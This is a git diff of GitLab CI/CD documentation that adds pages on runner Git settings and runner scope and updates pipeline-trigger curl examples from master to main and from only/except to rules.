+ ```shell
+ git submodule sync
+ git submodule update --init
+ ```
+
+- `recursive` means that all submodules (including submodules of submodules)
+ are included. This feature needs Git v1.8.1 and later. When using a
+ GitLab Runner with an executor not based on Docker, make sure the Git version
+ meets that requirement. It's equivalent to:
+
+ ```shell
+ git submodule sync --recursive
+ git submodule update --init --recursive
+ ```
+
+For this feature to work correctly, the submodules must be configured
+(in `.gitmodules`) with either:
+
+- the HTTP(S) URL of a publicly-accessible repository, or
+- a relative path to another repository on the same GitLab server. See the
+ [Git submodules](../git_submodules.md) documentation.
+
+### Git checkout
+
+> Introduced in GitLab Runner 9.3.
+
+The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either
+`clone` or `fetch` to specify whether a `git checkout` should be run. If not
+specified, it defaults to true. You can set them globally or per-job in the
+[`variables`](../yaml/README.md#variables) section.
+
+If set to `false`, the runner:
+
+- when doing `fetch` - updates the repository and leaves the working copy on
+ the current revision,
+- when doing `clone` - clones the repository and leaves the working copy on the
+ default branch.
+
+If `GIT_CHECKOUT` is set to `true`, both `clone` and `fetch` work the same way.
+The runner checks out the working copy of a revision related
+to the CI pipeline:
+
+```yaml
+variables:
+ GIT_STRATEGY: clone
+ GIT_CHECKOUT: "false"
+script:
+ - git checkout -B master origin/master
+ - git merge $CI_COMMIT_SHA
+```
+
+### Git clean flags
+
+> Introduced in GitLab Runner 11.10
+
+The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of
+`git clean` after checking out the sources. You can set it globally or per-job in the
+[`variables`](../yaml/README.md#variables) section.
+
+`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean)
+command.
+
+`git clean` is disabled if `GIT_CHECKOUT: "false"` is specified.
+
+If `GIT_CLEAN_FLAGS` is:
+
+- Not specified, `git clean` flags default to `-ffdx`.
+- Given the value `none`, `git clean` is not executed.
+
+For example:
+
+```yaml
+variables:
+ GIT_CLEAN_FLAGS: -ffdx -e cache/
+script:
+ - ls -al cache/
+```
+
+### Git fetch extra flags
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1.
+
+The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of
+`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+
+`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified.
+
+The default flags are:
+
+- [GIT_DEPTH](#shallow-cloning).
+- The list of [refspecs](https://git-scm.com/book/en/v2/Git-Internals-The-Refspec).
+- A remote called `origin`.
+
+If `GIT_FETCH_EXTRA_FLAGS` is:
+
+- Not specified, `git fetch` flags default to `--prune --quiet` along with the default flags.
+- Given the value `none`, `git fetch` is executed only with the default flags.
+
+For example, the default flags are `--prune --quiet`, so you can make `git fetch` more verbose by overriding this with just `--prune`:
+
+```yaml
+variables:
+ GIT_FETCH_EXTRA_FLAGS: --prune
+script:
+ - ls -al cache/
+```
+
+The configuration above results in `git fetch` being called this way:
+
+```shell
+git fetch origin $REFSPECS --depth 50 --prune
+```
+
+Where `$REFSPECS` is a value provided to the runner internally by GitLab.
+
+### Shallow cloning
+
+> Introduced in GitLab 8.9 as an experimental feature.
+
+You can specify the depth of fetching and cloning using `GIT_DEPTH`.
+`GIT_DEPTH` does a shallow clone of the repository and can significantly speed up cloning.
+It can be helpful for repositories with a large number of commits or old, large binaries. The value is
+passed to `git fetch` and `git clone`.
+
+In GitLab 12.0 and later, newly-created projects automatically have a
+[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone).
+
+If you use a depth of `1` and have a queue of jobs or retry
+jobs, jobs may fail.
+
+Git fetching and cloning is based on a ref, such as a branch name, so runners
+can't clone a specific commit SHA. If multiple jobs are in the queue, or
+you're retrying an old job, the commit to be tested must be within the
+Git history that is cloned. Setting too small a value for `GIT_DEPTH` can make
+it impossible to run these old commits and `unresolved reference` is displayed in
+job logs. You should then reconsider changing `GIT_DEPTH` to a higher value.
+
+Jobs that rely on `git describe` may not work correctly when `GIT_DEPTH` is
+set since only part of the Git history is present.
+
+To fetch or clone only the last 3 commits:
+
+```yaml
+variables:
+ GIT_DEPTH: "3"
+```
+
+You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+
+### Custom build directories
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2211) in GitLab Runner 11.10.
+
+By default, GitLab Runner clones the repository in a unique subpath of the
+`$CI_BUILDS_DIR` directory. However, your project might require the code in a
+specific directory (Go projects, for example). In that case, you can specify
+the `GIT_CLONE_PATH` variable to tell the runner the directory to clone the
+repository in:
+
+```yaml
+variables:
+ GIT_CLONE_PATH: $CI_BUILDS_DIR/project-name
+
+test:
+ script:
+ - pwd
+```
+
+The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR`
+is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
+setting.
+
+This can only be used when `custom_build_dir` is enabled in the
+[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section).
+This is the default configuration for the `docker` and `kubernetes` executors.
+
+#### Handling concurrency
+
+An executor that uses a concurrency greater than `1` might lead
+to failures. Multiple jobs might be working on the same directory if the `builds_dir`
+is shared between jobs.
+
+The runner does not try to prevent this situation. It's up to the administrator
+and developers to comply with the requirements of runner configuration.
+
+To avoid this scenario, you can use a unique path within `$CI_BUILDS_DIR`, because runner
+exposes two additional variables that provide a unique `ID` of concurrency:
+
+- `$CI_CONCURRENT_ID`: Unique ID for all jobs running within the given executor.
+- `$CI_CONCURRENT_PROJECT_ID`: Unique ID for all jobs running within the given executor and project.
+
+The most stable configuration that should work well in any scenario and on any executor
+is to use `$CI_CONCURRENT_ID` in the `GIT_CLONE_PATH`. For example:
+
+```yaml
+variables:
+ GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/project-name
+
+test:
+ script:
+ - pwd
+```
+
+The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH`
+as the `$CI_PROJECT_PATH` provides a path of a repository. That is, `group/subgroup/project`. For example:
+
+```yaml
+variables:
+ GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/$CI_PROJECT_PATH
+
+test:
+ script:
+ - pwd
+```
+
+#### Nested paths
+
+The value of `GIT_CLONE_PATH` is expanded once and nesting variables
+within is not supported.
+
+For example, you define both the variables below in your
+`.gitlab-ci.yml` file:
+
+```yaml
+variables:
+ GOPATH: $CI_BUILDS_DIR/go
+ GIT_CLONE_PATH: $GOPATH/src/namespace/project
+```
+
+The value of `GIT_CLONE_PATH` is expanded once into
+`$CI_BUILDS_DIR/go/src/namespace/project`, and results in failure
+because `$CI_BUILDS_DIR` is not expanded.
+
+### Job stages attempts
+
+> Introduced in GitLab, it requires GitLab Runner v1.9+.
+
+You can set the number of attempts that the running job tries to execute
+the following stages:
+
+| Variable | Description |
+|---------------------------------|--------------------------------------------------------|
+| `ARTIFACT_DOWNLOAD_ATTEMPTS` | Number of attempts to download artifacts running a job |
+| `EXECUTOR_JOB_SECTION_ATTEMPTS` | [In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) and later, the number of attempts to run a section in a job after a [`No Such Container`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) error ([Docker executor](https://docs.gitlab.com/runner/executors/docker.html) only). |
+| `GET_SOURCES_ATTEMPTS` | Number of attempts to fetch sources running a job |
+| `RESTORE_CACHE_ATTEMPTS` | Number of attempts to restore the cache running a job |
+
+The default is one single attempt.
+
+Example:
+
+```yaml
+variables:
+ GET_SOURCES_ATTEMPTS: 3
+```
+
+You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+
+## System calls not available on GitLab.com shared runners
+
+GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library.
+
+## Artifact and cache settings
+
+> Introduced in GitLab Runner 13.9.
+
+Artifact and cache settings control the compression ratio of artifacts and caches.
+Use these settings to specify the size of the archive produced by a job.
+
+- On a slow network, uploads might be faster for smaller archives.
+- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger.
+
+For [GitLab Pages](../../user/project/pages/index.md) to serve
+[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts
+should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives
+support this feature.
+
+A meter can also be enabled to provide the rate of transfer for uploads and downloads.
+
+```yaml
+variables:
+ # output upload and download progress every 2 seconds
+ TRANSFER_METER_FREQUENCY: "2s"
+
+ # Use fast compression for artifacts, resulting in larger archives
+ ARTIFACT_COMPRESSION_LEVEL: "fast"
+
+ # Use no compression for caches
+ CACHE_COMPRESSION_LEVEL: "fastest"
+```
+
+| Variable | Description |
+|---------------------------------|--------------------------------------------------------|
+| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. |
+| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. |
+| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. |
diff --git a/doc/ci/runners/runners_scope.md b/doc/ci/runners/runners_scope.md
new file mode 100644
index 00000000000..fa56be3a151
--- /dev/null
+++ b/doc/ci/runners/runners_scope.md
@@ -0,0 +1,251 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# The scope of runners
+
+Runners are available based on who you want to have access:
+
+- [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance.
+- [Group runners](#group-runners) are available to all projects and subgroups in a group.
+- [Specific runners](#specific-runners) are associated with specific projects.
+ Typically, specific runners are used for one project at a time.
+
+## Shared runners
+
+*Shared runners* are available to every project in a GitLab instance.
+
+Use shared runners when you have multiple jobs with similar requirements. Rather than
+having multiple runners idling for many projects, you can have a few runners that handle
+multiple projects.
+
+If you are using a self-managed instance of GitLab:
+
+- Your administrator can install and register shared runners by
+ going to your project's **Settings > CI/CD**, expanding the **Runners** section,
+ and clicking **Show runner installation instructions**.
+ These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html).
+- The administrator can also configure a maximum number of shared runner [pipeline minutes for
+ each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota).
+
+If you are using GitLab.com:
+
+- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners).
+- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes)
+ included with your account.
+
+### Enable shared runners
+
+On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by
+default.
+
+On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html)
+and [register](https://docs.gitlab.com/runner/register/index.html) them.
+
+You can also enable shared runners for individual projects.
+
+To enable shared runners:
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. Select **Enable shared runners for this project**.
+
+### Disable shared runners
+
+You can disable shared runners for individual projects or for groups.
+You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the project
+or group.
+
+To disable shared runners for a project:
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. In the **Shared runners** area, select **Enable shared runners for this project** so the toggle is grayed-out.
+
+Shared runners are automatically disabled for a project:
+
+- If the shared runners setting for the parent group is disabled, and
+- If overriding this setting is not permitted at the project level.
+
+To disable shared runners for a group:
+
+1. Go to the group's **Settings > CI/CD** and expand the **Runners** section.
+1. In the **Shared runners** area, turn off the **Enable shared runners for this group** toggle.
+1. Optionally, to allow shared runners to be enabled for individual projects or subgroups,
+ click **Allow projects and subgroups to override the group setting**.
+
+NOTE:
+To re-enable the shared runners for a group, turn on the
+**Enable shared runners for this group** toggle.
+Then, an owner or maintainer must explicitly change this setting
+for each project subgroup or project.
+
+### How shared runners pick jobs
+
+Shared runners process jobs by using a fair usage queue. This queue prevents
+projects from creating hundreds of jobs and using all available
+shared runner resources.
+
+The fair usage queue algorithm assigns jobs based on the projects that have the
+fewest number of jobs already running on shared runners.
+
+**Example 1**
+
+If these jobs are in the queue:
+
+- Job 1 for Project 1
+- Job 2 for Project 1
+- Job 3 for Project 1
+- Job 4 for Project 2
+- Job 5 for Project 2
+- Job 6 for Project 3
+
+The fair usage algorithm assigns jobs in this order:
+
+1. Job 1 is first, because it has the lowest job number from projects with no running jobs (that is, all projects).
+1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running).
+1. Job 6 is next, because 6 is now the lowest job number from projects with no running jobs (Projects 1 and 2 have jobs running).
+1. Job 2 is next, because, of projects with the lowest number of jobs running (each has 1), it is the lowest job number.
+1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3.
+1. Finally is Job 3... because it's the only job left.
+
+---
+
+**Example 2**
+
+If these jobs are in the queue:
+
+- Job 1 for Project 1
+- Job 2 for Project 1
+- Job 3 for Project 1
+- Job 4 for Project 2
+- Job 5 for Project 2
+- Job 6 for Project 3
+
+The fair usage algorithm assigns jobs in this order:
+
+1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects).
+1. We finish Job 1.
+1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number.
+1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3).
+1. We finish Job 4.
+1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again.
+1. Job 6 is next, because Project 3 is the only project left with no running jobs.
+1. Lastly we choose Job 3... because, again, it's the only job left.
+
+## Group runners
+
+Use *Group runners* when you want all projects in a group
+to have access to a set of runners.
+
+Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
+
+### Create a group runner
+
+You can create a group runner for your self-managed GitLab instance or for GitLab.com.
+You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group.
+
+To create a group runner:
+
+1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/).
+1. Go to the group you want to make the runner work for.
+1. Go to **Settings > CI/CD** and expand the **Runners** section.
+1. Note the URL and token.
+1. [Register the runner](https://docs.gitlab.com/runner/register/).
+
+### View and manage group runners
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2.
+
+You can view and manage all runners for a group, its subgroups, and projects.
+You can do this for your self-managed GitLab instance or for GitLab.com.
+You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group.
+
+1. Go to the group where you want to view the runners.
+1. Go to **Settings > CI/CD** and expand the **Runners** section.
+1. The following fields are displayed.
+
+ | Attribute | Description |
+ | ------------ | ----------- |
+ | Type | Displays the runner type: `group` or `specific`, together with the optional states `locked` and `paused` |
+ | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance |
+ | Description | Description given to the runner when it was created |
+ | Version | GitLab Runner version |
+ | IP address | IP address of the host on which the runner is registered |
+ | Projects | The count of projects to which the runner is assigned |
+ | Jobs | Total of jobs run by the runner |
+ | Tags | Tags associated with the runner |
+ | Last contact | Timestamp indicating when the GitLab instance last contacted the runner |
+
+From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects.
+
+### Pause or remove a group runner
+
+You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com.
+You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group.
+
+1. Go to the group you want to remove or pause the runner for.
+1. Go to **Settings > CI/CD** and expand the **Runners** section.
+1. Click **Pause** or **Remove runner**.
+ - If you pause a group runner that is used by multiple projects, the runner pauses for all projects.
+ - From the group view, you cannot remove a runner that is assigned to more than one project.
+ You must remove it from each project first.
+1. On the confirmation dialog, click **OK**.
+
+## Specific runners
+
+Use *Specific runners* when you want to use runners for specific projects. For example,
+when you have:
+
+- Jobs with specific requirements, like a deploy job that requires credentials.
+- Projects with a lot of CI activity that can benefit from being separate from other runners.
+
+You can set up a specific runner to be used by multiple projects. Specific runners
+must be enabled for each project explicitly.
+
+Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
+
+NOTE:
+Specific runners do not get shared with forked projects automatically.
+A fork *does* copy the CI/CD settings of the cloned repository.
+
+### Create a specific runner
+
+You can create a specific runner for your self-managed GitLab instance or for GitLab.com.
+You must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project.
+
+To create a specific runner:
+
+1. [Install runner](https://docs.gitlab.com/runner/install/).
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. Note the URL and token.
+1. [Register the runner](https://docs.gitlab.com/runner/register/).
+
+### Enable a specific runner for a specific project
+
+A specific runner is available in the project it was created for. An administrator can
+enable a specific runner to apply to additional projects.
+
+- You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the
+ project.
+- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects).
+
+To enable or disable a specific runner for a project:
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. Click **Enable for this project** or **Disable for this project**.
+
+### Prevent a specific runner from being enabled for other projects
+
+You can configure a specific runner so it is "locked" and cannot be enabled for other projects.
+This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/),
+but can also be changed later.
+
+To lock or unlock a runner:
+
+1. Go to the project's **Settings > CI/CD** and expand the **Runners** section.
+1. Find the runner you want to lock or unlock. Make sure it's enabled.
+1. Click the pencil button.
+1. Check the **Lock to current projects** option.
+1. Click **Save changes**.
diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md
index c94d6e3ea80..577a80407d7 100644
--- a/doc/ci/services/README.md
+++ b/doc/ci/services/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-01'
---
This document was moved to [another location](index.md).
diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md
index a0e15b4e960..8afe8c784f3 100644
--- a/doc/ci/services/gitlab.md
+++ b/doc/ci/services/gitlab.md
@@ -25,7 +25,7 @@ tests access to the GitLab API.
```
1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`,
- [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables).
+ [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project).
Then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md
index c94d6e3ea80..577a80407d7 100644
--- a/doc/ci/ssh_keys/README.md
+++ b/doc/ci/ssh_keys/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-01'
---
This document was moved to [another location](index.md).
diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md
index c04ff35212c..2222ed0aa43 100644
--- a/doc/ci/ssh_keys/index.md
+++ b/doc/ci/ssh_keys/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md
index 434adb0c8f3..b8d0df44598 100644
--- a/doc/ci/triggers/README.md
+++ b/doc/ci/triggers/README.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -56,9 +56,9 @@ and it creates a dependent pipeline relation visible on the
trigger_pipeline:
stage: deploy
script:
- - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
- only:
- - tags
+ - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+ rules:
+ - if: $CI_COMMIT_TAG
```
Pipelines triggered that way also expose a special variable:
@@ -81,10 +81,10 @@ build_submodule:
stage: test
script:
- apt update && apt install -y unzip
- - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/download?job=test&job_token=$CI_JOB_TOKEN"
+ - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN"
- unzip artifacts.zip
- only:
- - tags
+ rules:
+ - if: $CI_COMMIT_TAG
```
This allows you to use that for multi-project pipelines and download artifacts
@@ -140,21 +140,21 @@ By using cURL you can trigger a pipeline rerun with minimal effort, for example:
```shell
curl --request POST \
--form token=TOKEN \
- --form ref=master \
+ --form ref=main \
"https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
-In this case, the pipeline for the project with ID `9` runs on the `master` branch.
+In this case, the pipeline for the project with ID `9` runs on the `main` branch.
Alternatively, you can pass the `token` and `ref` arguments in the query string:
```shell
curl --request POST \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=master"
+ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main"
```
You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that
-you have two projects, A and B, and you want to trigger a pipeline on the `master`
+you have two projects, A and B, and you want to trigger a pipeline on the `main`
branch of project B whenever a tag on project A is created. This is the job you
need to add in project A's `.gitlab-ci.yml`:
@@ -162,9 +162,9 @@ need to add in project A's `.gitlab-ci.yml`:
trigger_pipeline:
stage: deploy
script:
- - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"'
- only:
- - tags
+ - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"'
+ rules:
+ - if: $CI_COMMIT_TAG
```
This means that whenever a new tag is pushed on project A, the job runs and the
@@ -178,7 +178,7 @@ To trigger a job from a webhook of another project you need to add the following
webhook URL for Push and Tag events (change the project ID, ref and token):
```plaintext
-https://gitlab.example.com/api/v4/projects/9/ref/master/trigger/pipeline?token=TOKEN
+https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN
```
You should pass `ref` as part of the URL, to take precedence over `ref` from
@@ -250,7 +250,7 @@ and the script of the `upload_package` job is run:
```shell
curl --request POST \
--form token=TOKEN \
- --form ref=master \
+ --form ref=main \
--form "variables[UPLOAD_TO_S3]=true" \
"https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
@@ -261,11 +261,11 @@ of all types of variables.
## Using cron to trigger nightly pipelines
Whether you craft a script or just run cURL directly, you can trigger jobs
-in conjunction with cron. The example below triggers a job on the `master`
-branch of project with ID `9` every night at `00:30`:
+in conjunction with cron. The example below triggers a job on the `main` branch
+of project with ID `9` every night at `00:30`:
```shell
-30 0 * * * curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
This behavior can also be achieved through the GitLab UI with
diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md
index cc6d02cbf36..24a37900e6a 100644
--- a/doc/ci/troubleshooting.md
+++ b/doc/ci/troubleshooting.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -109,7 +109,7 @@ the [`rules` configuration details](yaml/README.md#rules) carefully. The behavio
of `only/except` and `rules` is different and can cause unexpected behavior when migrating
between the two.
-The [common `if` clauses for `rules`](yaml/README.md#common-if-clauses-for-rules)
+The [common `if` clauses for `rules`](jobs/job_control.md#common-if-clauses-for-rules)
can be very helpful for examples of how to write rules that behave the way you expect.
#### Two pipelines run at the same time
@@ -119,7 +119,7 @@ associated with it. Usually one pipeline is a merge request pipeline, and the ot
is a branch pipeline.
This is usually caused by the `rules` configuration, and there are several ways to
-[prevent duplicate pipelines](yaml/README.md#avoid-duplicate-pipelines).
+[prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines).
#### A job is not in the pipeline
@@ -258,7 +258,7 @@ When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `i
clause, multiple pipelines may run. Usually this occurs when you push a commit to
a branch that has an open merge request associated with it.
-To [prevent duplicate pipelines](yaml/README.md#avoid-duplicate-pipelines), use
+To [prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines), use
[`workflow: rules`](yaml/README.md#workflow) or rewrite your rules to control
which pipelines can run.
diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md
index bbb62f74caa..7b5f6b5167d 100644
--- a/doc/ci/unit_test_reports.md
+++ b/doc/ci/unit_test_reports.md
@@ -307,6 +307,25 @@ test:
- report.xml
```
+### PHP example
+
+This example uses [PHPUnit](https://phpunit.de/) with the `--log-junit` flag.
+You can also add this option using
+[XML](https://phpunit.readthedocs.io/en/stable/configuration.html#the-junit-element)
+in the `phpunit.xml` configuration file.
+
+```yaml
+phpunit:
+ stage: test
+ script:
+ - composer install
+ - vendor/bin/phpunit --log-junit report.xml
+ artifacts:
+ when: always
+ reports:
+ junit: report.xml
+```
+
## Viewing Unit test reports on GitLab
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default.
@@ -339,12 +358,12 @@ If parsing JUnit report XML results in an error, an indicator is shown next to t
Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. If JUnit
report format XML files contain an `attachment` tag, GitLab parses the attachment. Note that:
-- The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. For
+- The `attachment` tag **must** contain the relative path to `$CI_PROJECT_DIR` of the screenshots you uploaded. For
example:
```xml
<testcase time="1.00" name="Test">
- <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out>
+ <system-out>[[ATTACHMENT|/path/to/some/file]]</system-out>
</testcase>
```
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 272f379611e..1db2d0dd888 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to:
You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
-- [Project CI/CD variables](#project-cicd-variables).
-- [Group CI/CD variables](#group-cicd-variables).
-- [Instance CI/CD variables](#instance-cicd-variables).
+- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
+- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
+- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
> For more information about advanced use of GitLab CI/CD:
>
@@ -56,10 +56,10 @@ You can create custom CI/CD variables:
- For a project:
- [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- - [In the project's settings](#project-cicd-variables).
+ - [In the project's settings](#add-a-cicd-variable-to-a-project).
- [With the API](../../api/project_level_variables.md).
-- For all projects in a group [in the group's setting](#group-cicd-variables).
-- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
+- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
+- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
@@ -123,10 +123,10 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
-### Project CI/CD variables
+### Add a CI/CD variable to a project
-You can add CI/CD variables to a project's settings. Only project members with
-[maintainer permissions](../../user/permissions.md#project-members-permissions)
+You can add CI/CD variables to a project's settings. Only project members with the
+[Maintainer role](../../user/permissions.md#project-members-permissions)
can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
in the project settings, not in the `.gitlab-ci.yml` file.
@@ -138,7 +138,7 @@ To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
